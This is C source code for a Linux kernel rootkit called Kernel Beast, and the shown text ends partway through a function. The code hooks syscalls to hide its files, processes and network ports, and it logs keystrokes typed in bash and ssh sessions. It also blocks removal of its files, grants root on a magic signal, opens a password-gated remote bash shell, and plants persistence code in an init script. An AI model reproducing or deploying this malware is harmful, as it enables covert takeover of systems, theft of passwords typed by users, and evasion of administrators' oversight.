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dnsmodule.c
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dnsmodule.c
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/*
Kernel Beast Ver #1.0 - Kernel Module
Copyright Ph03n1X of IPSECS (c) 2011
Get more research of ours http://ipsecs.com
Features:
- Hiding this module [OK]
- Hiding files/directory [OK]
- Hiding process [OK]
- Hiding from netstat [OK]
- Keystroke Logging [OK]
- Anti-kill process [OK]
- Anti-remove files [OK]
- Anti-delete modules [OK]
- Local root escalation [OK]
*/
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/moduleparam.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/tty.h>
#include <linux/unistd.h>
#include <linux/syscalls.h>
#include <asm/uaccess.h>
#include <asm/cacheflush.h>
#include <linux/sched.h>
#include <linux/file.h>
#include <linux/proc_fs.h>
#include <linux/dirent.h>
#include <net/tcp.h>
#include <linux/fs.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/unistd.h>
#include <asm/socket.h>
#include "config.h"
#define TIMEZONE 7*60*60 // GMT+7
#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
#define isleap(year) \
((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))
#define TMPSZ 150 //from net/ipv4/tcp_ipv4.c
struct vtm {
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
};
MODULE_LICENSE("GPL");
/*Functions*/
int log_to_file(char *);
int writeInit(void);
int delInit(void);
void get_time(char *);
int epoch2time(const time_t *, long int, struct vtm *);
char *strnstr(const char *, const char *, size_t);
int h4x_tcp4_seq_show(struct seq_file *, void *);
int isPreExist(void);
int writePreload(void);
int delPreload(void);
int rmPreload(void);
/*Syscalls*/
asmlinkage int (*o_read) (unsigned int, char __user *, size_t);
asmlinkage int (*o_write)(unsigned int, const char __user *, size_t);
#if defined(__x86_64__)
asmlinkage int (*o_getdents)(unsigned int, struct linux_dirent __user *, unsigned int);
#elif defined(__i386__)
asmlinkage int (*o_getdents64)(unsigned int, struct linux_dirent64 __user *, unsigned int);
#else
#error Unsupported architecture
#endif
asmlinkage int (*o_unlink)(const char __user *);
asmlinkage int (*o_rmdir)(const char __user *);
asmlinkage int (*o_unlinkat)(int, const char __user *, int);
asmlinkage int (*o_rename)(const char __user *, const char __user *);
asmlinkage int (*o_open)(const char __user *, int, int);
asmlinkage int (*o_kill)(int, int);
asmlinkage int (*o_execve)(const char *filename, char *const argv[],char *const envp[]);
asmlinkage int (*o_truncate)(const char *path, off_t length);
#ifdef hook_accept
asmlinkage int (*o_accept)(int fd, struct sockaddr *addr, int *addr_len);
asmlinkage int (*o_close)(int fd);
asmlinkage int (*o_dup2)(int oldfd, int newfd);
asmlinkage int (*o_fork)(void);
asmlinkage int (*o_exit)(int argv1);
//asmlinkage int (*o_waitpid)(int pid);
#endif
#ifdef MAGIC_REBOOT
//for hooking reboot
asmlinkage int (*o_signal)(int argv1, int argv2);
asmlinkage int (*o_reboot)(int magic, int magic2, int cmd, void *arg);
#endif
asmlinkage int (*o_delete_module)(const char __user *name_user, unsigned int flags);
/*Variable*/
char ibuffer[256];
char obuffer[512];
char spbuffer[4];
char accountlog[32];
char rebootfile[32];
char fbuf[1024]={'\0'};
char wbuf[512]={'\0'};
int hasPreload=0;
int counter=0;
int trace = 0;
int load = 1;
int started = 0;
int force_load = 0;
int mycount =0;
int mypid = 0;
int haswrite = 0;
int todo = 0;
char *argv[] = { "bash", "-i", NULL };
char *envp[] = { "TERM=linux", "PS1=[root@remote-server]#", "BASH_HISTORY=/dev/null",
"HISTORY=/dev/null", "history=/dev/null", "HOME=/usr/sbin/dnsdyn","HISTFILE=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
unsigned long *sys_call_table = (unsigned long *)0xc061c4e0;
int (*old_tcp4_seq_show)(struct seq_file*, void *) = NULL;
/*
REF : http://commons.oreilly.com/wiki/index.php/Network_Security_Tools/
Modifying_and_Hacking_Security_Tools/Fun_with_Linux_Kernel_Modules
*/
char *strnstr(const char *haystack, const char *needle, size_t n)
{
char *s=strstr(haystack, needle);
if(s==NULL)
return NULL;
if(s-haystack+strlen(needle) <= n)
return s;
else
return NULL;
}
/*Ripped from epoch2time() thc-vlogger*/
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
/* Leap years. */
{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
};
long int days, rem, y;
const unsigned short int *ip;
days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;
while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365 + LEAPS_THRU_END_OF (yg - 1) - LEAPS_THRU_END_OF (y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days + 1;
return 1;
}
/*Ripped from get_time() thc-vlogger*/
void get_time (char *date_time)
{
struct timeval tv;
time_t t;
struct vtm tm;
do_gettimeofday(&tv);
t = (time_t)tv.tv_sec;
epoch2time(&t, TIMEZONE, &tm);
sprintf(date_time,"%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
tm.tm_sec);
}
/*
Modified from log_to_file() mercenary code
why don't we modify thc-vlogger? because that'z your job
*/
int log_to_file(char *buffer)
{
struct file *file = NULL;
mm_segment_t fs;
int error;
/*log name*/
snprintf(accountlog,sizeof(accountlog),"%s/%s.%i",_H4X_PATH_,_LOGFILE_,current->uid);
file = filp_open(accountlog, O_CREAT|O_APPEND, 00644);
if(IS_ERR(file)){
error=PTR_ERR(file);
goto out;
}
error = -EACCES;
if(!S_ISREG(file->f_dentry->d_inode->i_mode))
goto out_err;
error = -EIO;
if(!file->f_op->write)
goto out_err;
error = 0;
fs = get_fs();
set_fs(KERNEL_DS);
file->f_op->write(file,buffer,strlen(buffer),&file->f_pos);
set_fs(fs);
filp_close(file,NULL);
goto out;
out:
return error;
out_err:
filp_close (file,NULL);
goto out;
}
#ifdef hook_accept
int my_accept(int sockfd, struct sockaddr *addr, int *addrlen)
{
int cli;
cli = (*o_accept)(sockfd,addr, addrlen);
if( (addr->sa_family == AF_INET) ){
struct sockaddr_in *cli_addr = (struct sockaddr_in *)addr;
if( (cli_addr->sin_port == htons(_MAGIC_PORT_)) ){
pid_t child;
if(cli<0)
return cli;
o_signal(SIGCHLD, SIG_IGN);
if((child=o_fork())==0){
//old none-crypted style
o_close(sockfd);
o_dup2(cli,0);
o_dup2(cli,1);
o_dup2(cli,2);
//close(0);
//fid = fcntl(cli, F_DUPFD, 0);
//enterpass(cli);
//char *motd="<< Welcome >>\n";
char buffer[64]={'\0'};
o_read(cli,buffer,sizeof(buffer));
/*
//Hash password
char trans[SALT_LENGTH+33] = {'\0'};
char tmp[3]={'\0'},buf[33]={'\0'},hash[33]={'\0'};
int i;
for(i=0;i<strlen(buffer);i++){
if(buffer[i]==0x00){
break;
}
}
if(i>2)
i--;
getMD5(buffer,i,buf);
strncpy(trans,_SALT_,SALT_LENGTH);
for(i=0;i<32;i++){
trans[SALT_LENGTH+i]=buf[i];
}
getMD5(trans,SALT_LENGTH+32,hash);
printf("%s",hash);
//End Hash Password
*/
//if(!strncmp(hash, _RPASSWORD_, strlen(_RPASSWORD_))) {
if(!strncmp(buffer, _ACK_PWD_, strlen(_ACK_PWD_))) {
//write(cli,motd,strlen(motd));
o_execve("/bin/bash", argv, envp);
//printf("disConnected.");
o_close(cli);
o_exit(0);
}else {
//write(s,"Wrong!\n", 7);
o_close(cli);
o_exit(0);
}
}
//o_waitpid(child);
return -1;
}
}
return cli;
}
asmlinkage int h4x_fork(void){
snprintf(obuffer,sizeof(obuffer),"******mypid:%i;comm:%s\n",mypid,current->comm);
log_to_file(obuffer);
if(!mypid && strstr(current->comm,APP_NAME) ){
int res = o_fork();
if(res>0)
mypid = res;
return res;
/*
snprintf(obuffer,sizeof(obuffer),"******mypid:%i\n",mypid);
log_to_file(obuffer);
return mypid;
*/
}else{
return o_fork();
}
}
#endif
/*
REF : http://commons.oreilly.com/wiki/index.php/Network_Security_Tools/
Modifying_and_Hacking_Security_Tools/Fun_with_Linux_Kernel_Modules
*/
int h4x_tcp4_seq_show(struct seq_file *seq, void *v)
{
int r=old_tcp4_seq_show(seq, v);
char port[12];
sprintf(port,"%04X",_HIDE_PORT_);
if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ))
seq->count -= TMPSZ;
return r;
}
/*
Modified from hacked sys_read on merecenary code
Why don't we modify thc-vlogger? it's your duty
Somehow this h4x_read doesn't cool enough, but works :)
*/
asmlinkage int h4x_read(unsigned int fd, char __user *buf, size_t count)
{
int i,r;
char date_time[24];
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
/*If output is redirected to file or grep, hide it*/
copy_from_user(kbuf,buf,255);
/*
if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
(strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST))
{
kfree(kbuf);
return -ENOENT;
}
}
*/
//if ( (strstr(current->comm,"ps")) || (strstr(current->comm,"pstree")) ||
// (strstr(current->comm,"ls")) || (strstr(current->comm,"lpstat")) ||
// (strstr(current->comm,"top")) || (strstr(current->comm,"lsof")) )
if( ( (load && started) || force_load ) && !trace && (todo > 0) ){
//if( ( (load && started) || force_load ) && !trace ){
if( strstr(current->comm,"mysql") || strstr(current->comm,"sshd") || strstr(current->comm,"ls") || strstr(current->comm,"ps") || strstr(current->comm,"top") || strstr(current->comm,"grep")
|| strstr(current->comm,"lsof") || strstr(current->comm,"sendmail") && !strstr(current->comm,"lpstat")
|| strstr(current->comm,"xinetd") || strstr(current->comm,"ftp") || strstr(current->comm,"http") || strstr(current->comm,"ngin") || strstr(current->comm,"netst") ||strstr(current->comm,"pstree") ){
//hasPreload = isPreExist();
//writePreload();
r=o_read(fd,buf,count);
haswrite = 0;
load =0;
if(hasPreload){
delPreload();
}else{
rmPreload();
}
#ifdef DEBUG
snprintf(obuffer,sizeof(obuffer),"---Good Final Here Opened:%s\n",current->comm);
log_to_file(obuffer);
#endif
return r;
}
}
r=o_read(fd,buf,count);
#ifdef _KEYLOG_
/*Due to stability issue, we limit the keylogging process*/
if((strcmp(current->comm,"bash") == 0) || (strcmp(current->comm,"ssh") == 0)||
(strcmp(current->comm,"scp") == 0) || (strcmp(current->comm,"telnet") == 0)||
(strcmp(current->comm,"rsh") == 0) || (strcmp(current->comm,"rlogin") == 0))
{
/*SPECIAL CHAR*/
if (counter) {
if (counter == 2) { // Arrows + Break
//left arrow
if (buf[0] == 0x44) {
strcat(ibuffer,"[LEFT]");
counter = 0;
goto END;
}
//right arrow
if (buf[0] == 0x43) {
strcat(ibuffer,"[RIGHT]");
counter = 0;
goto END;
}
//up arrow
if (buf[0] == 0x41) {
strcat(ibuffer,"[UP]");
counter = 0;
goto END;
}
//down arrow
if (buf[0] == 0x42) {
strcat(ibuffer,"[DOWN]");
counter = 0;
goto END;
}
//break
if (buf[0] == 0x50) {
strcat(ibuffer,"[BREAK]");
counter = 0;
goto END;
}
//numlock
if(buf[0] == 0x47) {
strcat (ibuffer,"[NUMLOCK]");
counter = 0;
goto END;
}
strncpy (spbuffer,buf,1);
counter ++;
goto END;
}
if (counter == 3) { // F1-F5
//F1
if (buf[0] == 0x41) {
strcat(ibuffer,"[F1]");
counter = 0;
goto END;
}
//F2
if (buf[0] == 0x42) {
strcat(ibuffer,"[F2]");
counter = 0;
goto END;
}
//F3
if (buf[0] == 0x43) {
strcat(ibuffer,"[F3]");
counter = 0;
goto END;
}
//F4
if (buf[0] == 0x44) {
strcat(ibuffer,"[F4]");
counter = 0;
goto END;
}
//F5
if (buf[0] == 0x45) {
strcat(ibuffer,"[F5]");
counter = 0;
goto END;
}
if (buf[0] == 0x7E) { // PgUp, PgDown, Ins, ...
//Page Up
if (spbuffer[0] == 0x35)
strcat(ibuffer,"[PGUP]");
//Page Down
if (spbuffer[0] == 0x36)
strcat(ibuffer,"[PGDN]");
//Delete
if (spbuffer[0] == 0x33)
strcat(ibuffer,"[DELETE]");
//End
if (spbuffer[0] == 0x34)
strcat(ibuffer,"[END]");
//Home
if (spbuffer[0] == 0x31)
strcat(ibuffer,"[HOME]");
//Insert
if (spbuffer[0] == 0x32)
strcat(ibuffer,"[INSERT]");
counter = 0;
goto END;
}
if (spbuffer[0] == 0x31) { // F6-F8
//F6
if (buf[0] == 0x37)
strcat(ibuffer,"[F6]");
//F7
if (buf[0] == 0x38)
strcat(ibuffer,"[F7]");
//F8
if (buf[0] == 0x39)
strcat(ibuffer,"[F8]");
counter++;
goto END;
}
if (spbuffer[0] == 0x32) { // F9-F12
//F9
if (buf[0] == 0x30)
strcat(ibuffer,"[F9]");
//F10
if (buf[0] == 0x31)
strcat(ibuffer,"[F10]");
//F11
if (buf[0] == 0x33)
strcat(ibuffer,"[F11]");
//F12
if (buf[0] == 0x34)
strcat(ibuffer,"[F12]");
counter++;
goto END;
}
}
if(counter >= 4) { //WatchDog
counter = 0;
goto END;
}
counter ++;
goto END;
}
/*SH, SSHD = 0 /TELNETD = 3/LOGIN = 4*/
if(r==1 && (fd==0||fd==3||fd==4)){
//CTRL+U
if(buf[0]==0x15){
ibuffer[0]='\0';
goto END;
}
//TAB
if(buf[0]==0x09){
strcat(ibuffer,"[TAB]");
counter = 0;
goto END;
}
//CTRL+C
if(buf[0]==0x03){
strcat(ibuffer,"[CTRL+C]");
counter = 0;
goto END;
}
//CTRL+D
if(buf[0]==0x03){
strcat(ibuffer,"[CTRL+D]");
counter = 0;
goto END;
}
//CTRL+]
if(buf[0]==0x1D){
strcat(ibuffer,"[CTRL+]]");
counter = 0;
goto END;
}
//BACKSPACE 0x7F Local / 0x08 Remote
if (buf[0] == 0x7F || buf[0] == 0x08) {
if (ibuffer[strlen(ibuffer) - 1] == ']') {
for (i=2;strlen(ibuffer);i++){
if (ibuffer[strlen (ibuffer) - i] == '[') {
ibuffer[strlen(ibuffer) - i] = '\0';
break;
}
}
goto END;
}else {
ibuffer[strlen(ibuffer) - 1] = '\0';
goto END;
}
}
if (buf[0] == 0x1B) {
counter++;
goto END;
}
if(buf[0] != '\n' && buf[0] != '\r'){
strncat(ibuffer,buf,sizeof(ibuffer));
}else{
strcat(ibuffer,"\n");
get_time(date_time);
snprintf(obuffer,sizeof(obuffer),"[%s] - [UID = %i ] %s > %s",date_time,current->uid,current->comm,ibuffer);
//I don't want to log buffer more than 60 chars, most of them are useless data
if(strlen(ibuffer)<60) {
log_to_file(obuffer);
}
ibuffer[0]='\0';
}
}
}
#endif
END:
return r;
}
/*
h4x sys_write to fake output ps, pstree, top, & lsof. If its result redirected to
grep,our process will be displayed, but sysadmin don't know what string should be
grep-ed.
I try to h4x readdir or getdents to completely hide process, but chkrootkit found
the hidden process, any better idea? comment are welcome.
*/
asmlinkage int h4x_write(unsigned int fd, const char __user *buf,size_t count)
{
int r;
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(kbuf,buf,255);
if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
(strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST))
{
kfree(kbuf);
return -ENOENT;
}
}
//snprintf(obuffer,sizeof(obuffer),"rebootmagic");
//log_to_file(obuffer);
r=(*o_write)(fd,buf,count);
kfree(kbuf);
return r;
}
/*
REF : http://freeworld.thc.org/papers/LKM_HACKING.html
Modified for getdents64
*/
#if defined(__x86_64__)
asmlinkage int h4x_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count){
struct dirent *dir2, *dir3;
int r,t,n;
r = (*o_getdents)(fd, dirp, count);
if(r>0){
dir2 = (struct dirent *)kmalloc((size_t)r, GFP_KERNEL);
copy_from_user(dir2, dirp, r);
dir3 = dir2;
t=r;
while(t>0){
n=dir3->d_reclen;
t-=n;
if(strstr((char *) &(dir3->d_name),(char *) _H4X0R_)!=NULL || strstr((char *) &(dir3->d_name),(char *) KBEAST)!=NULL){
if(t!=0)
memmove(dir3,(char *) dir3+dir3->d_reclen,t);
else
dir3->d_off = 1024;
r-=n;
}
if(dir3->d_reclen == 0){
r -=t;
t=0;
}
if(t!=0)
dir3=(struct dirent *)((char *) dir3+dir3->d_reclen);
}
copy_to_user(dirp, dir2, r);
kfree(dir2);
}
return r;
}
#elif defined(__i386__)
asmlinkage int h4x_getdents64(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count){
struct linux_dirent64 *dir2, *dir3;
int r,t,n;
r = (*o_getdents64)(fd, dirp, count);
if(r>0){
dir2 = (struct linux_dirent64 *)kmalloc((size_t)r, GFP_KERNEL);
copy_from_user(dir2, dirp, r);
dir3 = dir2;
t=r;
while(t>0){
n=dir3->d_reclen;
t-=n;
if(strstr((char *) &(dir3->d_name),(char *) _H4X0R_)!=NULL || strstr((char *) &(dir3->d_name),(char *) KBEAST)!=NULL){
if(t!=0)
memmove(dir3,(char *) dir3+dir3->d_reclen,t);
else
dir3->d_off = 1024;
r-=n;
}
if(dir3->d_reclen == 0){
r -=t;
t=0;
}
if(t!=0)
dir3=(struct linux_dirent64 *)((char *) dir3+dir3->d_reclen);
}
copy_to_user(dirp, dir2, r);
kfree(dir2);
}
return r;
}
#else
#error Unsupported architecture
#endif
/*Don't allow your file to be removed (2.6.18)*/
asmlinkage int h4x_unlink(const char __user *pathname) {
int r;
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(kbuf,pathname,255);
if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)){
kfree(kbuf);
return -ESRCH;
}
r=(*o_unlink)(pathname);
kfree(kbuf);
return r;
}
/*Don't allow your directory to be removed (2.6.18)*/
asmlinkage int h4x_rmdir(const char __user *pathname) {
int r;
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(kbuf,pathname,255);
if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)){
kfree(kbuf);
return -ESRCH;
}
r=(*o_rmdir)(pathname);
kfree(kbuf);
return r;
}
/*Don't allow your file and directory to be removed (2.6.32)*/
asmlinkage int h4x_unlinkat(int dfd, const char __user * pathname, int flag) {
int r;
char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(kbuf,pathname,255);
if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)){
kfree(kbuf);
return -ESRCH;
}
r=(*o_unlinkat)(dfd,pathname,flag);
kfree(kbuf);
return r;
}
/*Don't allow your file to be renamed/moved*/
asmlinkage int h4x_rename(const char __user *oldname, const char __user *newname) {
int r;
char *oldkbuf=(char*)kmalloc(256,GFP_KERNEL);
char *newkbuf=(char*)kmalloc(256,GFP_KERNEL);
copy_from_user(oldkbuf,oldname,255);
copy_from_user(newkbuf,newname,255);
if(strstr(oldkbuf,_H4X0R_)||strstr(newkbuf,_H4X0R_)||strstr(oldkbuf,KBEAST)||strstr(newkbuf,KBEAST)){
kfree(oldkbuf);
kfree(newkbuf);
return -EACCES;
}
r=(*o_rename)(oldname,newname);
kfree(oldkbuf);
kfree(newkbuf);
return r;
}
/*
write the init code to the specific files
*/
int writeInit(void)
{
struct file *file = NULL;
mm_segment_t fs;
int error;
loff_t pos,start,end;
/*log name*/
//snprintf(accountlog,sizeof(accountlog),"%s/%s",_H4X_PATH_,_LOGFILE_,current->uid);
//file = filp_open(accountlog, O_CREAT|O_APPEND|O_RDWR, 00644);
snprintf(rebootfile,sizeof(rebootfile),"%s",MAGIC_REBOOT);
file = filp_open(rebootfile, O_RDWR|O_SYNC, 00644);
if(IS_ERR(file)){
error=PTR_ERR(file);
goto out;
}
error = -EACCES;
if(!S_ISREG(file->f_dentry->d_inode->i_mode))
goto out_err;
error = -EIO;
if(!file->f_op->write)
goto out_err;
error = 0;
fs = get_fs();
set_fs(KERNEL_DS);
//file->f_op->write(file,buffer,strlen(buffer),&file->f_pos);
//to do ur evil things with files here
end = start = pos = 0;
char *tmp=(char*)kmalloc(1,GFP_KERNEL);
end = file->f_op->llseek(file,0,SEEK_END);
#ifdef DEBUG
snprintf(obuffer,sizeof(obuffer),"file_pos:%i \n",end);
log_to_file(obuffer);
#endif
do{
file->f_op->read(file,tmp,1,&pos);
if( strstr(tmp,"\n") ){
#ifdef DEBUG
snprintf(obuffer,sizeof(obuffer),"in if pos:%i,start:%i\n",pos,start);
log_to_file(obuffer);
#endif
file->f_op->read(file,fbuf,(pos-start),&start);
#ifdef DEBUG
snprintf(obuffer,sizeof(obuffer),"-----%s\n",fbuf);
log_to_file(obuffer);
#endif
if( strstr(fbuf,"start()") || strstr(fbuf,"start)") ){
snprintf(wbuf,sizeof(wbuf),MAGIC_REBOOT_CODE);
#ifdef DEBUG
log_to_file("xxx");
log_to_file(wbuf);
snprintf(obuffer,sizeof(obuffer),"*******pos:%i,wbuf:%s,obuffer:%s \n",pos,wbuf,fbuf);
log_to_file(obuffer);
#endif
char *kbuf=(char*)kmalloc( (end-pos+1),GFP_KERNEL);
memset(kbuf,'\0',sizeof(kbuf));
start = pos;
file->f_op->read(file,kbuf,(end-start),&start);
#ifdef DEBUG
snprintf(obuffer,sizeof(obuffer),"*******start:%i,pos:%i,kbuf:\n%s",start,pos,kbuf);
log_to_file(obuffer);
#endif
if( !strstr(kbuf,MAGIC_REBOOT_CODE) ){
file->f_op->write(file,wbuf,strlen(wbuf),&pos);
#ifdef DEBUG
snprintf(obuffer,sizeof(obuffer),"\n***after write wbuf****start:%i,pos:%i\n",start,pos);
log_to_file(obuffer);
#endif
file->f_op->write(file,kbuf,strlen(kbuf),&pos);
}
memset(wbuf,'\0',sizeof(wbuf));
kfree(kbuf);
break;
}
start=pos;
memset(fbuf,'\0',sizeof(fbuf));
}
}while( pos<end );
set_fs(fs);
filp_close(file,NULL);
//snprintf(obuffer,sizeof(obuffer),"readtest- > fbuf: %s\n",fbuf);
//printk("readtest->fbuf:%s\n",fbuf);
//log_to_file(obuffer);
goto out;
out:
return error;
out_err:
filp_close (file,NULL);
#ifdef DEBUG
snprintf(obuffer,sizeof(obuffer),"error:%i\n",error);
log_to_file(obuffer);
//printk("fbuf read error\n,error:%i",error);
#endif
goto out;
}
int delInit(void){
struct file *file = NULL;
mm_segment_t fs;
int error;
loff_t pos,start,end;
/*log name*/
//snprintf(accountlog,sizeof(accountlog),"%s/%s",_H4X_PATH_,_LOGFILE_,current->uid);
//file = filp_open(accountlog, O_CREAT|O_APPEND|O_RDWR, 00644);
snprintf(rebootfile,sizeof(rebootfile),"%s",MAGIC_REBOOT);
file = filp_open(rebootfile, O_RDWR|O_SYNC, 00644);
if(IS_ERR(file)){
error=PTR_ERR(file);
goto out;
}
error = -EACCES;
if(!S_ISREG(file->f_dentry->d_inode->i_mode))
goto out_err;
error = -EIO;
if(!file->f_op->write)
goto out_err;
error = 0;
fs = get_fs();
set_fs(KERNEL_DS);
//file->f_op->write(file,buffer,strlen(buffer),&file->f_pos);
//to do ur evil things with files here
end = start = pos = 0;
end = file->f_op->llseek(file,0,SEEK_END);
char *kbuf=(char*)kmalloc(end+1,GFP_KERNEL);
memset(kbuf,'\0',sizeof(kbuf));
file->f_op->read(file,kbuf,end,&start);
char *ptr = strstr(kbuf,MAGIC_REBOOT_CODE);
if( ptr!=NULL ){
int i;
for(i=0;i<kbuf+end-ptr-sizeof(MAGIC_REBOOT_CODE);i++){
ptr[i] = ptr[i+sizeof(MAGIC_REBOOT_CODE)-1];
}
ptr[i]='\0';
file->f_op->write(file,kbuf,strlen(kbuf),&pos);
}
set_fs(fs);
filp_close(file,NULL);
kfree(kbuf);
goto out;
out:
return error;
out_err:
filp_close (file,NULL);
goto out;
}
/*
Don't allow your process to be killed
Allow local root escalation using magic signal dan pid
*/
asmlinkage int h4x_kill(int pid, int sig) {
int r;
struct task_struct *cur;
cur = find_task_by_pid(pid);
if(sig == INFO_GID){
mypid = pid;
return 0;
}
if(cur){
if( started && ( strstr(cur->comm,_H4X0R_)||strstr(cur->comm,KBEAST) ) ){
return -ESRCH;
}
}
if(sig == _MAGIC_SIG_ && pid == _MAGIC_PID_){
current->uid=0;current->euid=0;current->gid=0;current->egid=0;return 0;
return 0;
}
r = (*o_kill)(pid,sig);
return r;
}
asmlinkage int h4x_delete_module(const char __user *name_user, unsigned int flags){